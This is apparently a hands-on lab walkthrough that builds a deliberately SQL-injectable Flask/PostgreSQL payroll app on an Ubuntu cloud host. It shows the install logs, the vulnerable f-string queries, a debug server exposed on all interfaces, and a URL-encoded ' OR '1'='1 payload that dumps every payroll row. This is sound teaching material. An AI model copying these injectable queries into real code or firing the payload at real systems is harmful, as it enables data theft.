Update and upgrade the machine:

```
ubuntu@ip-172-31-39-110:~$ sudo apt update && sudo apt -y upgrade
Hit:1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu noble InRelease
Get:2 http://us-east-1.ec2.archive.ubuntu.com/ubuntu noble-updates InRelease [126 kB]
Get:3 http://us-east-1.ec2.archive.ubuntu.com/ubuntu noble-backports InRelease [126 kB]
Get:4 http://security.ubuntu.com/ubuntu noble-security InRelease [126 kB]
Get:5 http://us-east-1.ec2.archive.ubuntu.com/ubuntu noble/universe amd64 Packages [15.
0 MB]
Get:6 http://us-east-1.ec2.archive.ubuntu.com/ubuntu noble/universe Translation-en [598
2 kB]
Get:7 http://us-east-1.ec2.archive.ubuntu.com/ubuntu noble/universe amd64 Components [3
871 kB]
Get:8 http://security.ubuntu.com/ubuntu noble-security/main amd64 Packages [1668 kB]
Get:9 http://us-east-1.ec2.archive.ubuntu.com/ubuntu noble/universe amd64 c-n-f Metadat
a [301 kB]
Get:10 http://us-east-1.ec2.archive.ubuntu.com/ubuntu noble/multiverse amd64 Packages [
269 kB]
```

Installing postgres and python3:

```
ubuntu@ip-172-31-39-110:~$ sudo apt -y install postgresql postgresql-contrib \
     python3-venv python3-dev build-essential libpq-dev
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  binutils binutils-common binutils-x86-64-linux-gnu bzip2 cpp cpp-13
  cpp-13-x86-64-linux-gnu cpp-x86-64-linux-gnu dpkg-dev fakeroot fontconfig-config
  fonts-dejavu-core fonts-dejavu-mono g++ g++-13 g++-13-x86-64-linux-gnu
  g++-x86-64-linux-gnu gcc gcc-13 gcc-13-base gcc-13-x86-64-linux-gnu
  gcc-x86-64-linux-gnu javascript-common libalgorithm-diff-perl
  libalgorithm-diff-xs-perl libalgorithm-merge-perl libaom3 libasan8 libatomic1
  libbinutils libc-dev-bin libc-devtools libc6-dev libcc1-0 libcommon-sense-perl
```

```
Setting up python3.12-dev (3.12.3-1ubuntu0.13) ...
Setting up g++-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...
Setting up g++-13 (13.3.0-6ubuntu2~24.04.1) ...
Setting up libpython3-dev:amd64 (3.12.3-0ubuntu2.1) ...
Setting up python3-dev (3.12.3-0ubuntu2.1) ...
Setting up g++ (4:13.2.0-7ubuntu1) ...
update-alternatives: using /usr/bin/g++ to provide /usr/bin/c++ (c++) in auto mode
Setting up build-essential (12.10ubuntu1) ...
Setting up libheif-plugin-aomdec:amd64 (1.17.6-1ubuntu4.3) ...
Setting up libheif1:amd64 (1.17.6-1ubuntu4.3) ...
Setting up libheif-plugin-aomenc:amd64 (1.17.6-1ubuntu4.3) ...
Processing triggers for libc-bin (2.39-0ubuntu8.7) ...
Processing triggers for man-db (2.12.0-4build2) ...
Processing triggers for sgml-base (1.31) ...
Setting up libfontconfig1:amd64 (2.15.0-1.1ubuntu2) ...
Setting up libgd3:amd64 (2.3.3-9ubuntu5) ...
Setting up libc-devtools (2.39-0ubuntu8.7) ...
Processing triggers for libc-bin (2.39-0ubuntu8.7) ...
Scanning processes...
Scanning candidates...
Scanning linux images...

Pending kernel upgrade!
Running kernel version:
  6.17.0-1012-aws
Diagnostics:
  The currently running kernel version is not the expected kernel version
6.17.0-1013-aws.
```

Get into postgres and create the vulnapp database and the vulnapp user:

```
ubuntu@ip-172-31-39-110:~$ sudo -i -u postgres psql
psql (16.13 (Ubuntu 16.13-0ubuntu0.24.04.1))
Type "help" for help.

postgres=# CREATE DATABASE vulnapp;
CREATE DATABASE
postgres=# CREATE USER vulnuser WITH PASSWORD 'vulnpass';
CREATE ROLE
postgres=# GRANT CONNECT ON DATABASE vulnapp TO vulnuser;
GRANT
postgres=# \q
```

Enable the extension and seed data:

```
ubuntu@ip-172-31-39-110:~$ sudo -i -u postgres psql -d vulnapp
psql (16.13 (Ubuntu 16.13-0ubuntu0.24.04.1))
Type "help" for help.

vulnapp=# CREATE EXTENSION IF NOT EXIST pgcrypto;
ERROR:  syntax error at or near "EXIST"
LINE 1: CREATE EXTENSION IF NOT EXIST pgcrypto;
                                ^
vulnapp=# CREATE EXTENSION IF NOT EXISTS pgcrypto;
CREATE EXTENSION
vulnapp=# CREATE TABLE USERS (
vulnapp(#   id            SERIAL PRIMARY KEY,
  username      TEXT UNIQUE NOT NULL,
  password_hash TEXT NOT NULL,
  is_admin      BOOLEAN    DEFAULT FALSE
);
CREATE TABLE
vulnapp=# CREATE TABLE payroll (
  id       SERIAL PRIMARY KEY,
  employee TEXT,
  salary   INT
);
CREATE TABLE
vulnapp=# INSERT INTO users (username, password_hash, is_admin) VALUES
vulnapp-#   ('alice', crypt('alice123',  gen_salt('bf')), FALSE),
  ('bob',   crypt('bob123',    gen_salt('bf')), FALSE),
  ('admin', crypt('S3cr3t!!',  gen_salt('bf')), TRUE);
INSERT 0 3
vulnapp=# INSERT INTO payroll (employee, salary) VALUES
  ('alice', 55000),
  ('bob',   60000),
  ('admin', 999999);
INSERT 0 3
```

```
vulnapp=# GRANT USAGE ON SCHEMA PUBLIC to VULNUSER;
GRANT
vulnapp=# GRANT SELECT ON ALL TAVLES IN SCHEMA public TO vulnuser;
ERROR:  syntax error at or near "TAVLES"
LINE 1: GRANT SELECT ON ALL TAVLES IN SCHEMA public TO vulnuser;
                            ^
vulnapp=# GRANT SELECT ON ALL TABLES IN SCHEMA public TO vulnuser;
GRANT
vulnapp=# \q
```

Creating the vulnerable Flask App

```
ubuntu@ip-172-31-39-110:~$ mkdir ~/vulnapp && cd ~/vulnapp
ubuntu@ip-172-31-39-110:~/vulnapp$ python3 -m venv venv
ubuntu@ip-172-31-39-110:~/vulnapp$ source venv/bin/activate
(venv) ubuntu@ip-172-31-39-110:~/vulnapp$ pip install flaskpsycopg2-binary
ERROR: Could not find a version that satisfies the requirement flaskpsycopg2-binary (fr
om versions: none)
ERROR: No matching distribution found for flaskpsycopg2-binary
(venv) ubuntu@ip-172-31-39-110:~/vulnapp$ pip install flask psycopg2-binary
Collecting flask
  Downloading flask-3.1.3-py3-none-any.whl.metadata (3.2 kB)
Collecting psycopg2-binary
  Downloading psycopg2_binary-2.9.12-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x8
6_64.whl.metadata (4.9 kB)
Collecting blinker>=1.9.0 (from flask)
```

End part of the installation:

```
Successfully installed blinker-1.9.0 click-8.3.3 flask-3.1.3 itsdangerous-2.2.0 jinja2-
3.1.6 markupsafe-3.0.3 psycopg2-binary-2.9.12 werkzeug-3.1.8
```

Creating app.py

```
^C(venv) ubuntu@ip-172-31-39-110:~/vulnapp$ cat app.py
import psycopg2
from flask import Flask, request, jsonify

DB_DSN = "dbname=vulnapp user=vulnuser password=vulnpass host=localhost"

app = Flask(__name__)

@app.route("/login")
def login():
    user = request.args.get("username", "")
    pwd  = request.args.get("password", "")
    # ⚠️SQLi-prone
    q = f"SELECT username,is_admin FROM users WHERE username = '{user}' " \
        f"AND password_hash = crypt('{pwd}', password_hash);"
    with psycopg2.connect(DB_DSN) as c, c.cursor() as cur:
        cur.execute(q)
        row = cur.fetchone()
    return (
        jsonify({"status": "ok", "user": row[0], "is_admin": row[1]}) if row
        else (jsonify({"status": "fail"}), 401)
    )

@app.route("/payroll")
def payroll():
    emp = request.args.get("employee", "")
    q = f"SELECT employee,salary FROM payroll WHERE employee = '{emp}';"
    with psycopg2.connect(DB_DSN) as c, c.cursor() as cur:
        cur.execute(q)
        rows = cur.fetchall()
    return jsonify(rows)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)
```

Running app.py

```
(venv) ubuntu@ip-172-31-39-110:~/vulnapp$ python app.py
 * Serving Flask app 'app'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a
production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:5000
 * Running on http://172.31.39.110:5000
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 439-040-789
```

Sanity check

```
jocaminhoca@JocaMinhoca:~/Downloads$ curl "http://18.208.228.152:5000/login?username=al
ice&password=alice123"
# → {"status":"ok", ...}
{
  "is_admin": false,
  "status": "ok",
  "user": "alice"
}
```

Exploit the SQL Injection

Legit request - only Alice

```
jocaminhoca@JocaMinhoca:~/Downloads$ curl "http://18.208.228.152:5000/payroll?employee=
alice"
[
  [
    "alice",
    55000
  ]
]
```

Dump every row:

```
jocaminhoca@JocaMinhoca:~/Downloads$ curl "http://18.208.228.152:5000/payroll?employee=
%27%20OR%20%271%27%3D%271"
[
  [
    "alice",
    55000
  ],
  [
    "bob",
    60000
  ],
  [
    "admin",
    999999
  ]
]
```